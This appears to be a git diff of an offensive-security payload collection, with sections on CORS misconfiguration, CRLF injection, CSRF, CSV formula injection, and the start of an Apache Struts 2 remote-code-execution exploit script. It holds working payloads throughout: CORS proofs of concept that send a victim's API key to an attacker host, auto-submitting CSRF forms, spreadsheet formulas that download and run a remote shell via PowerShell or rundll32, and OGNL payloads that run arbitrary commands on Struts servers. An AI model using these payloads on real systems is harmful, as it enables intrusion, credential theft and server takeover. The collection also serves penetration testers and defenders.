https://*.example.com is not valid
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Vulnerable Implementation
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
GET /endpoint HTTP/1.1
|
||||||
|
Host: api.internal.example.com
|
||||||
|
Origin: https://evil.com
|
||||||
|
|
||||||
|
HTTP/1.1 200 OK
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
|
||||||
|
{"[private API key]"}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```js
|
||||||
|
var req = new XMLHttpRequest();
|
||||||
|
req.onload = reqListener;
|
||||||
|
req.open('get','https://api.internal.example.com/endpoint',true);
|
||||||
|
req.send();
|
||||||
|
|
||||||
|
function reqListener() {
|
||||||
|
location='//atttacker.net/log?key='+this.responseText;
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
### Vulnerable Example: Expanding the Origin / Regex Issues
|
||||||
|
Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.
|
||||||
|
|
||||||
|
#### Vulnerable Implementation (Example 1)
|
||||||
|
|
||||||
|
In this scenario any prefix inserted in front of `example.com` will be accepted by the server.
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /endpoint HTTP/1.1
|
||||||
|
Host: api.example.com
|
||||||
|
Origin: https://evilexample.com
|
||||||
|
|
||||||
|
HTTP/1.1 200 OK
|
||||||
|
Access-Control-Allow-Origin: https://evilexample.com
|
||||||
|
Access-Control-Allow-Credentials: true
|
||||||
|
|
||||||
|
{"[private API key]"}
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Proof of concept (Example 1)
|
||||||
|
|
||||||
|
This PoC requires the respective JS script to be hosted at `evilexample.com`
|
||||||
|
|
||||||
|
```js
|
||||||
|
var req = new XMLHttpRequest();
|
||||||
|
req.onload = reqListener;
|
||||||
|
req.open('get','https://api.example.com/endpoint',true);
|
||||||
|
req.withCredentials = true;
|
||||||
|
req.send();
|
||||||
|
|
||||||
|
function reqListener() {
|
||||||
|
location='//atttacker.net/log?key='+this.responseText;
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Vulnerable Implementation (Example 2)
|
||||||
|
|
||||||
|
In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: `^api.example.com$` instead of `^api\.example.com$`. Thus, the dot can be replaced with any letter to gain access from a third-party domain.
|
||||||
|
|
||||||
|
```
|
||||||
|
GET /endpoint HTTP/1.1
|
||||||
|
Host: api.example.com
|
||||||
|
Origin: https://apiiexample.com
|
||||||
|
|
||||||
|
HTTP/1.1 200 OK
|
||||||
|
Access-Control-Allow-Origin: https://apiiexample.com
|
||||||
|
Access-Control-Allow-Credentials: true
|
||||||
|
|
||||||
|
{"[private API key]"}
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Proof of concept (Example 2)
|
||||||
|
|
||||||
|
This PoC requires the respective JS script to be hosted at `apiiexample.com`
|
||||||
|
|
||||||
|
```js
|
||||||
|
var req = new XMLHttpRequest();
|
||||||
|
req.onload = reqListener;
|
||||||
|
req.open('get','https://api.example.com/endpoint',true);
|
||||||
|
req.withCredentials = true;
|
||||||
|
req.send();
|
||||||
|
|
||||||
|
function reqListener() {
|
||||||
|
location='//atttacker.net/log?key='+this.responseText;
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
## Bug Bounty reports
|
||||||
|
|
||||||
|
* [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax)](https://hackerone.com/reports/168574)
|
||||||
|
* [CORS misconfig | Account Takeover - niche.co - Rohan (nahoragg)](https://hackerone.com/reports/426147)
|
||||||
|
* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy)](https://hackerone.com/reports/235200)
|
||||||
|
* [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t)](https://hackerone.com/reports/430249)
|
||||||
|
* [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7)](https://hackerone.com/reports/470298)
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Think Outside the Scope: Advanced CORS Exploitation Techniques - @Sandh0t - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||||
|
* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle | 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||||
|
* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - DECEMBER 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
|
||||||
|
* [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://www.corben.io/advanced-cors-techniques/)
|
||||||
|
* [PortSwigger Web Security Academy: CORS](https://portswigger.net/web-security/cors)
|
||||||
|
* [CORS Misconfigurations Explained - Detectify Blog](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
|
||||||
@@ -1,20 +1,28 @@
|
|||||||
# CRLF
|
# CRLF
|
||||||
|
|
||||||
The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
|
>The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
|
||||||
|
|
||||||
A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
|
>A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
- [CRLF - Add a cookie](#crlf---add-a-cookie)
|
||||||
|
- [CRLF - Add a cookie - XSS Bypass](#crlf---add-a-cookie---xss-bypass)
|
||||||
|
- [CRLF - Write HTML](#crlf---write-html)
|
||||||
|
- [CRLF - Filter Bypass](#crlf---filter-bypass)
|
||||||
|
- [References](#references)
|
||||||
|
|
||||||
## CRLF - Add a cookie
|
## CRLF - Add a cookie
|
||||||
|
|
||||||
Requested page
|
Requested page
|
||||||
|
|
||||||
```powershell
|
```http
|
||||||
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
|
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
|
||||||
```
|
```
|
||||||
|
|
||||||
HTTP Response
|
HTTP Response
|
||||||
|
|
||||||
```powershell
|
```http
|
||||||
Connection: keep-alive
|
Connection: keep-alive
|
||||||
Content-Length: 178
|
Content-Length: 178
|
||||||
Content-Type: text/html
|
Content-Type: text/html
|
||||||
@@ -37,7 +45,7 @@ http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
|
|||||||
|
|
||||||
HTTP Response
|
HTTP Response
|
||||||
|
|
||||||
```powershell
|
```http
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Date: Tue, 20 Dec 2016 14:34:03 GMT
|
Date: Tue, 20 Dec 2016 14:34:03 GMT
|
||||||
Content-Type: text/html; charset=utf-8
|
Content-Type: text/html; charset=utf-8
|
||||||
@@ -62,13 +70,13 @@ X-XSS-Protection:0
|
|||||||
|
|
||||||
Requested page
|
Requested page
|
||||||
|
|
||||||
```powershell
|
```http
|
||||||
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
|
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
|
||||||
```
|
```
|
||||||
|
|
||||||
HTTP response
|
HTTP response
|
||||||
|
|
||||||
```powershell
|
```http
|
||||||
Set-Cookie:en
|
Set-Cookie:en
|
||||||
Content-Length: 0
|
Content-Length: 0
|
||||||
|
|
||||||
@@ -84,7 +92,7 @@ Content-Length: 34
|
|||||||
|
|
||||||
Using UTF-8 encoding
|
Using UTF-8 encoding
|
||||||
|
|
||||||
```powershell
|
```http
|
||||||
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
|
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -95,7 +103,12 @@ Remainder:
|
|||||||
* %E5%98%BE = %3E = \u563e (>)
|
* %E5%98%BE = %3E = \u563e (>)
|
||||||
* %E5%98%BC = %3C = \u563c (<)
|
* %E5%98%BC = %3C = \u563c (<)
|
||||||
|
|
||||||
## Thanks to
|
|
||||||
|
## Exploitation Tricks
|
||||||
|
* Try to search for parameters that lead to redirects and fuzz them
|
||||||
|
* Also test the mobile version of the website, sometimes it is different or uses a different backend
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
* https://www.owasp.org/index.php/CRLF_Injection
|
* https://www.owasp.org/index.php/CRLF_Injection
|
||||||
* https://vulners.com/hackerone/H1:192749
|
* https://vulners.com/hackerone/H1:192749
|
||||||
BIN
CSRF Injection/Images/CSRF-CheatSheet.png
Normal file
BIN
CSRF Injection/Images/CSRF-CheatSheet.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 407 KiB |
156
CSRF Injection/README.md
Normal file
156
CSRF Injection/README.md
Normal file
@@ -0,0 +1,156 @@
|
|||||||
|
# Cross-Site Request Forgery
|
||||||
|
|
||||||
|
> Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Methodology](#methodology)
|
||||||
|
* [Payloads](#payloads)
|
||||||
|
* [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction)
|
||||||
|
* [HTML GET - No User Interaction)](#html-get---no-user-interaction)
|
||||||
|
* [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction)
|
||||||
|
* [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction)
|
||||||
|
* [JSON GET - Simple Request](#json-get---simple-request)
|
||||||
|
* [JSON POST - Simple Request](#json-post---simple-request)
|
||||||
|
* [JSON POST - Complex Request](#json-post---complex-request)
|
||||||
|
* [Bypass referer header validation check](#bypass-referer-header-validation)
|
||||||
|
* [Basic payload](#basic-payload)
|
||||||
|
* [With question mark payload](#with-question-mark-payload)
|
||||||
|
* [With semicolon payload](#with-semicolon-payload)
|
||||||
|
* [With subdomain payload](#with-subdomain-payload)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
* [XSRFProbe - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.](https://github.com/0xInfection/XSRFProbe)
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## Payloads
|
||||||
|
|
||||||
|
When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
|
||||||
|
|
||||||
|
### HTML GET - Requiring User Interaction
|
||||||
|
|
||||||
|
```html
|
||||||
|
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
|
||||||
|
```
|
||||||
|
|
||||||
|
### HTML GET - No User Interaction
|
||||||
|
|
||||||
|
```html
|
||||||
|
<img src="http://www.example.com/api/setusername?username=CSRFd">
|
||||||
|
```
|
||||||
|
|
||||||
|
### HTML POST - Requiring User Interaction
|
||||||
|
|
||||||
|
```html
|
||||||
|
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
|
||||||
|
<input name="username" type="hidden" value="CSRFd" />
|
||||||
|
<input type="submit" value="Submit Request" />
|
||||||
|
</form>
|
||||||
|
```
|
||||||
|
|
||||||
|
### HTML POST - AutoSubmit - No User Interaction
|
||||||
|
|
||||||
|
```html
|
||||||
|
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
|
||||||
|
<input name="username" type="hidden" value="CSRFd" />
|
||||||
|
<input type="submit" value="Submit Request" />
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
document.getElementById("autosubmit").submit();
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### JSON GET - Simple Request
|
||||||
|
|
||||||
|
```html
|
||||||
|
<script>
|
||||||
|
var xhr = new XMLHttpRequest();
|
||||||
|
xhr.open("GET", "http://www.example.com/api/currentuser");
|
||||||
|
xhr.send();
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
### JSON POST - Simple Request
|
||||||
|
|
||||||
|
```html
|
||||||
|
<script>
|
||||||
|
var xhr = new XMLHttpRequest();
|
||||||
|
xhr.open("POST", "http://www.example.com/api/setrole");
|
||||||
|
//application/json is not allowed in a simple request. text/plain is the default
|
||||||
|
xhr.setRequestHeader("Content-Type", "text/plain");
|
||||||
|
//You will probably want to also try one or both of these
|
||||||
|
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
||||||
|
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
|
||||||
|
xhr.send('{"role":admin}');
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
### JSON POST - Complex Request
|
||||||
|
|
||||||
|
```html
|
||||||
|
<script>
|
||||||
|
var xhr = new XMLHttpRequest();
|
||||||
|
xhr.open("POST", "http://www.example.com/api/setrole");
|
||||||
|
xhr.withCredentials = true;
|
||||||
|
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
|
||||||
|
xhr.send('{"role":admin}');
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Bypass referer header validation
|
||||||
|
|
||||||
|
### Basic payload
|
||||||
|
```
|
||||||
|
1) Open https://attacker.com/csrf.html
|
||||||
|
2) Referer header is ..
|
||||||
|
|
||||||
|
Referer: https://attacker.com/csrf.html
|
||||||
|
```
|
||||||
|
### With question mark(`?`) payload
|
||||||
|
```
|
||||||
|
1) Open https://attacker.com/csrf.html?trusted.domain.com
|
||||||
|
2) Referer header is ..
|
||||||
|
|
||||||
|
Referer: https://attacker.com/csrf.html?trusted.domain.com
|
||||||
|
```
|
||||||
|
|
||||||
|
### With semicolon(`;`) payload
|
||||||
|
```
|
||||||
|
1) Open https://attacker.com/csrf.html;trusted.domain.com
|
||||||
|
2) Referer header is ..
|
||||||
|
|
||||||
|
Referer: https://attacker.com/csrf.html;trusted.domain.com
|
||||||
|
```
|
||||||
|
|
||||||
|
### With subdomain payload
|
||||||
|
```
|
||||||
|
1) Open https://trusted.domain.com.attacker.com/csrf.html
|
||||||
|
2) Referer headers is ..
|
||||||
|
|
||||||
|
Referer: https://trusted.domain.com.attacker.com/csrf.html
|
||||||
|
```
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/)
|
||||||
|
- [Cross-Site Request Forgery (CSRF) - OWASP](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
|
||||||
|
- [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton](https://whitton.io/articles/messenger-site-wide-csrf/)
|
||||||
|
- [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial](https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/)
|
||||||
|
- [Hacking PayPal Accounts with one click (Patched) - Yasser Ali](http://yasserali.com/hacking-paypal-accounts-with-one-click/)
|
||||||
|
- [Add tweet to collection CSRF - vijay kumar](https://hackerone.com/reports/100820)
|
||||||
|
- [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/)
|
||||||
|
- [How i Hacked your Beats account ? Apple Bug Bounty - @aaditya_purani](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/)
|
||||||
|
- [FORM POST JSON: JSON CSRF on POST Heartbeats API - Dr.Jones](https://hackerone.com/reports/245346)
|
||||||
|
- [Hacking Facebook accounts using CSRF in Oculus-Facebook integration](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
|
||||||
|
- [Cross site request forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
|
||||||
|
- [Cross-Site Request Forgery Attack - PwnFunction](https://www.youtube.com/watch?v=eWEgUcHPle0)
|
||||||
|
- [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
|
||||||
|
- [Bypass referer check logic for CSRF](https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)
|
||||||
63
CSV Injection/README.md
Normal file
63
CSV Injection/README.md
Normal file
@@ -0,0 +1,63 @@
|
|||||||
|
# CSV Injection (Formula Injection)
|
||||||
|
|
||||||
|
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
|
||||||
|
|
||||||
|
## Exploit
|
||||||
|
|
||||||
|
Basic exploit with Dynamic Data Exchange
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# pop a calc
|
||||||
|
DDE ("cmd";"/C calc";"!A0")A0
|
||||||
|
@SUM(1+1)*cmd|' /C calc'!A0
|
||||||
|
=2+5+cmd|' /C calc'!A0
|
||||||
|
|
||||||
|
# pop a notepad
|
||||||
|
=cmd|' /C notepad'!'A1'
|
||||||
|
|
||||||
|
# powershell download and execute
|
||||||
|
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
|
||||||
|
|
||||||
|
# msf smb delivery with rundll32
|
||||||
|
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
|
||||||
|
|
||||||
|
# Prefix obfuscation and command chaining
|
||||||
|
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
|
||||||
|
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
|
||||||
|
+thespanishinquisition(cmd|'/c calc.exe'!A
|
||||||
|
= cmd|'/c calc.exe'!A
|
||||||
|
|
||||||
|
# Using rundll32 instead of cmd
|
||||||
|
=rundll32|'URL.dll,OpenURL calc.exe'!A
|
||||||
|
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
|
||||||
|
|
||||||
|
# Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
|
||||||
|
= C m D | '/ c c al c . e x e ' ! A
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
Technical Details of the above payload:
|
||||||
|
|
||||||
|
- `cmd` is the name the server can respond to whenever a client is trying to access the server
|
||||||
|
- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
|
||||||
|
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
|
||||||
|
|
||||||
|
Any formula can be started with
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
=
|
||||||
|
+
|
||||||
|
–
|
||||||
|
@
|
||||||
|
```
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [OWASP - CSV Excel Macro Injection](https://owasp.org/index.php/CSV_Excel_Macro_Injection)
|
||||||
|
* [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection)
|
||||||
|
* [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/)
|
||||||
|
* [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani](https://payatu.com/csv-injection-basic-to-exploit/)
|
||||||
|
* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/)
|
||||||
|
* [CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy](https://news.webamooz.com/wp-content/uploads/bot/offsecmag/147.pdf)
|
||||||
|
* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html)
|
||||||
|
* [Three New DDE Obfuscation Methods](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
|
||||||
@@ -1,32 +0,0 @@
|
|||||||
# CSV Excel formula injection
|
|
||||||
|
|
||||||
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
|
|
||||||
|
|
||||||
## Exploit
|
|
||||||
|
|
||||||
Basic exploit with Dynamic Data Exchange
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
DDE ("cmd";"/C calc";"!A0")A0
|
|
||||||
@SUM(1+1)*cmd|' /C calc'!A0
|
|
||||||
```
|
|
||||||
|
|
||||||
Technical Details of the above payload:
|
|
||||||
cmd is the name the server can respond to whenever a client is trying to access the server
|
|
||||||
/C calc is the file name which in our case is the calc(i.e the calc.exe)
|
|
||||||
!A0 is the item name that specifies unit of data that a server can respond when the client is requesting the data
|
|
||||||
|
|
||||||
Any formula can be started with
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
=
|
|
||||||
+
|
|
||||||
–
|
|
||||||
@
|
|
||||||
```
|
|
||||||
|
|
||||||
## Thanks to
|
|
||||||
|
|
||||||
* [OWASP - CSV Excel Macro Injection](https://owasp.org/index.php/CSV_Excel_Macro_Injection)
|
|
||||||
* [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection)
|
|
||||||
* [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/)
|
|
||||||
319
CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py
Executable file → Normal file
319
CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py
Executable file → Normal file
@@ -1,13 +1,18 @@
|
|||||||
#!/usr/bin/python
|
#!/usr/bin/python
|
||||||
|
|
||||||
import urllib2
|
from __future__ import print_function
|
||||||
|
from future import standard_library
|
||||||
|
standard_library.install_aliases()
|
||||||
|
from builtins import input
|
||||||
|
from builtins import str
|
||||||
|
import urllib.request, urllib.error, urllib.parse
|
||||||
import time
|
import time
|
||||||
import sys
|
import sys
|
||||||
import os
|
import os
|
||||||
import commands
|
import subprocess
|
||||||
import requests
|
import requests
|
||||||
import readline
|
import readline
|
||||||
import urlparse
|
import urllib.parse
|
||||||
|
|
||||||
RED = '\033[1;31m'
|
RED = '\033[1;31m'
|
||||||
BLUE = '\033[94m'
|
BLUE = '\033[94m'
|
||||||
@@ -21,190 +26,190 @@ def cls():
|
|||||||
os.system(['clear', 'cls'][os.name == 'nt'])
|
os.system(['clear', 'cls'][os.name == 'nt'])
|
||||||
cls()
|
cls()
|
||||||
|
|
||||||
logo = BLUE+'''
|
logo = BLUE+'''
|
||||||
___ _____ ___ _ _ _____ ___
|
___ _____ ___ _ _ _____ ___
|
||||||
( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\
|
( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\
|
||||||
| (_(_) | | | (_) )| | | | | | | (_(_)
|
| (_(_) | | | (_) )| | | | | | | (_(_)
|
||||||
`\__ \ | | | , / | | | | | | `\__ \
|
`\__ \ | | | , / | | | | | | `\__ \
|
||||||
( )_) | | | | |\ \ | (_) | | | ( )_) |
|
( )_) | | | | |\ \ | (_) | | | ( )_) |
|
||||||
`\____) (_) (_) (_)(_____) (_) `\____)
|
`\____) (_) (_) (_)(_____) (_) `\____)
|
||||||
|
|
||||||
=[ Command Execution v3]=
|
=[ Command Execution v3]=
|
||||||
By @s1kr10s
|
By @s1kr10s
|
||||||
'''+ENDC
|
'''+ENDC
|
||||||
print logo
|
print(logo)
|
||||||
|
|
||||||
print " * Ejemplo: http(s)://www.victima.com/files.login\n"
|
print(" * Ejemplo: http(s)://www.victima.com/files.login\n")
|
||||||
host = raw_input(BOLD+" [+] HOST: "+ENDC)
|
host = input(BOLD+" [+] HOST: "+ENDC)
|
||||||
|
|
||||||
if len(host) > 0:
|
if len(host) > 0:
|
||||||
if host.find("https://") != -1 or host.find("http://") != -1:
|
if host.find("https://") != -1 or host.find("http://") != -1:
|
||||||
|
|
||||||
poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}"
|
poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}"
|
||||||
|
|
||||||
def exploit(comando):
|
|
||||||
exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
|
|
||||||
return exploit
|
|
||||||
|
|
||||||
def exploit2(comando):
|
def exploit(comando):
|
||||||
exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}"
|
exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
|
||||||
return exploit2
|
return exploit
|
||||||
|
|
||||||
def exploit3(comando):
|
def exploit2(comando):
|
||||||
exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D"
|
